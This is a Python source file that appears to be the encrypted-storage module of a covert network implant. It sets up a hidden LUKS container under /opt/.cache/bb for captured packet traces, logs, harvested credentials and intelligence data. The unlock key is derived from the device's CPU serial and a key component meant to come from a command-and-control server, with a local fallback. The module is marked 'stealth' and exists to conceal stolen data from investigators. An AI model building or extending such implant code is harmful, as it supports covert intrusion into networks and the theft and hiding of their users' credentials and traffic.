#!/usr/bin/env python3
"""Encrypted storage module — LUKS container for all persistent data.

Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
intelligence data.  Key derivation attempts a network-derived key first
(HKDF with CPU serial + C2-fetched component), falling back to a config
passphrase if C2 is unreachable.
"""

import json
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.crypto import LUKSContainer, derive_network_key

logger = logging.getLogger(__name__)

# Subdirectories created inside the mounted LUKS container
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")


class EncryptedStorage(BaseModule):
    """LUKS encrypted storage with network-derived key unlock."""

    name = "encrypted_storage"
    module_type = "stealth"
    priority = -500  # Highest — other modules depend on storage
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._luks: Optional[LUKSContainer] = None
        self._mounted = False
        self._storage_path: Optional[str] = None
        self._container_path: Optional[str] = None
        self._passphrase: Optional[bytes] = None
        self._using_fallback_key = False

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
        self._storage_path = os.path.join(install_path, "storage")

        container_rel = self.config.get("security", {}).get(
            "luks_container", "storage/encrypted.luks"
        )
        self._container_path = os.path.join(install_path, container_rel)

        # Derive passphrase
        self._passphrase = self._derive_passphrase()

        # Initialize LUKS container
        mapper_name = "bb_storage"
        self._luks = LUKSContainer(
            container_path=self._container_path,
            mount_point=self._storage_path,
            mapper_name=mapper_name,
        )

        # Create container if it doesn't exist
        if not os.path.isfile(self._container_path):
            logger.info("Creating new LUKS container at %s", self._container_path)
            os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
            size_mb = self._get_container_size()
            if not self._luks.create(size_mb, self._passphrase):
                logger.error("Failed to create LUKS container")
                self.state.set_module_status(self.name, "error")
                return

            # Format the filesystem inside the container
            if not self._format_filesystem():
                logger.error("Failed to format LUKS filesystem")
                self.state.set_module_status(self.name, "error")
                return

        # Open and mount
        if not self._luks.is_open:
            if not self._luks.open(self._passphrase):
                logger.error("Failed to open LUKS container — wrong key?")
                self.state.set_module_status(self.name, "error")
                return

        self._mounted = True

        # Create subdirectories
        self._create_subdirs()

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self.state.set_module_status(self.name, "running", pid=os.getpid())

        key_type = "fallback" if self._using_fallback_key else "network-derived"
        logger.info(
            "EncryptedStorage mounted at %s (key: %s)",
            self._storage_path, key_type,
        )

    def stop(self) -> None:
        if not self._running:
            return

        # Sync filesystem
        try:
            subprocess.run(["sync"], capture_output=True, timeout=10)
        except subprocess.SubprocessError:
            pass

        # Unmount and close LUKS
        if self._luks and self._luks.is_open:
            if not self._luks.close():
                logger.warning("Failed to cleanly close LUKS container")

        self._mounted = False
        self._running = False

        # Scrub passphrase from memory (best effort)
        if self._passphrase:
            self._passphrase = b"\x00" * len(self._passphrase)
            self._passphrase = None

        self.state.set_module_status(self.name, "stopped")
        logger.info("EncryptedStorage unmounted and closed")

    def status(self) -> dict:
        result = {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "mounted": self._mounted,
            "using_fallback_key": self._using_fallback_key,
        }

        if self._mounted and self._storage_path:
            try:
                stat = os.statvfs(self._storage_path)
                total = stat.f_blocks * stat.f_frsize
                free = stat.f_bavail * stat.f_frsize
                used = total - free
                result["container_size_mb"] = total / (1024 * 1024)
                result["used_mb"] = used / (1024 * 1024)
                result["free_mb"] = free / (1024 * 1024)
            except OSError:
                pass

        return result

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def get_storage_path(self) -> Optional[str]:
        """Return the mount point for the encrypted storage, or None if not mounted."""
        return self._storage_path if self._mounted else None

    def get_subdir(self, name: str) -> Optional[str]:
        """Return the path to a named subdirectory inside encrypted storage."""
        if not self._mounted or not self._storage_path:
            return None
        path = os.path.join(self._storage_path, name)
        return path if os.path.isdir(path) else None

    # ------------------------------------------------------------------
    # Key derivation
    # ------------------------------------------------------------------

    def _derive_passphrase(self) -> bytes:
        """Attempt network-derived key first, then fall back to config passphrase."""
        # Try network-derived key: HKDF(CPU serial + C2 component)
        cpu_serial = self._get_cpu_serial()
        c2_component = self._fetch_c2_key_component()

        if c2_component:
            try:
                key = derive_network_key(
                    network_secret=c2_component,
                    device_serial=cpu_serial,
                )
                self._using_fallback_key = False
                logger.debug("Using network-derived LUKS key")
                return key
            except Exception as exc:
                logger.warning("Network key derivation failed: %s", exc)

        # Fallback: use a config-based passphrase
        self._using_fallback_key = True
        logger.info("C2 unreachable — using fallback LUKS key")

        # Derive from CPU serial + static salt (still better than plaintext)
        fallback_salt = b"bb-fallback-luks-key-v1"
        import hashlib
        return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)

    def _get_cpu_serial(self) -> bytes:
        """Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
        # Try /proc/cpuinfo Serial field (RPi, OPi)
        try:
            with open("/proc/cpuinfo", "r") as f:
                for line in f:
                    if line.strip().startswith("Serial"):
                        serial = line.split(":", 1)[1].strip()
                        return serial.encode("utf-8")
        except (IOError, IndexError):
            pass

        # Try machine-id as fallback
        try:
            with open("/etc/machine-id", "r") as f:
                return f.read().strip().encode("utf-8")
        except IOError:
            pass

        # Last resort: hostname-based
        import socket
        return socket.gethostname().encode("utf-8")

    def _fetch_c2_key_component(self) -> Optional[bytes]:
        """Attempt to fetch the key component from C2.

        Returns None if C2 is unreachable. The actual C2 client
        will be provided by the connectivity module.
        """
        # TODO: implement actual C2 key fetch via connectivity module
        # For now, check if a pre-staged key file exists (deployed with implant)
        key_paths = [
            "/opt/.cache/bb/config/luks_network_key",
            os.path.expanduser("~/.implant/luks_network_key"),
        ]
        for path in key_paths:
            try:
                if os.path.isfile(path):
                    with open(path, "rb") as f:
                        data = f.read(64)
                    if data:
                        return data
            except (IOError, PermissionError):
                pass

        return None

    # ------------------------------------------------------------------
    # Container setup
    # ------------------------------------------------------------------

    def _get_container_size(self) -> int:
        """Determine LUKS container size in MB based on available disk."""
        try:
            stat = os.statvfs(os.path.dirname(self._container_path))
            free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
            # Use 70% of free space, max 8GB, min 256MB
            size = int(free_mb * 0.7)
            return max(256, min(size, 8192))
        except OSError:
            return 1024  # Default 1GB

    def _format_filesystem(self) -> bool:
        """Open the container and format it with ext4."""
        try:
            # Open LUKS to get the mapper device
            if not self._luks.open(self._passphrase):
                return False

            # Format with ext4 (no journal for SBC — reduce writes)
            subprocess.run(
                ["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
                check=True, capture_output=True,
            )

            # Close — will be reopened in start()
            self._luks.close()
            return True
        except subprocess.CalledProcessError as exc:
            logger.error("mkfs.ext4 failed: %s", exc)
            return False

    def _create_subdirs(self) -> None:
        """Create standard subdirectories inside the mounted storage."""
        for subdir in STORAGE_SUBDIRS:
            path = os.path.join(self._storage_path, subdir)
            os.makedirs(path, exist_ok=True)
        logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
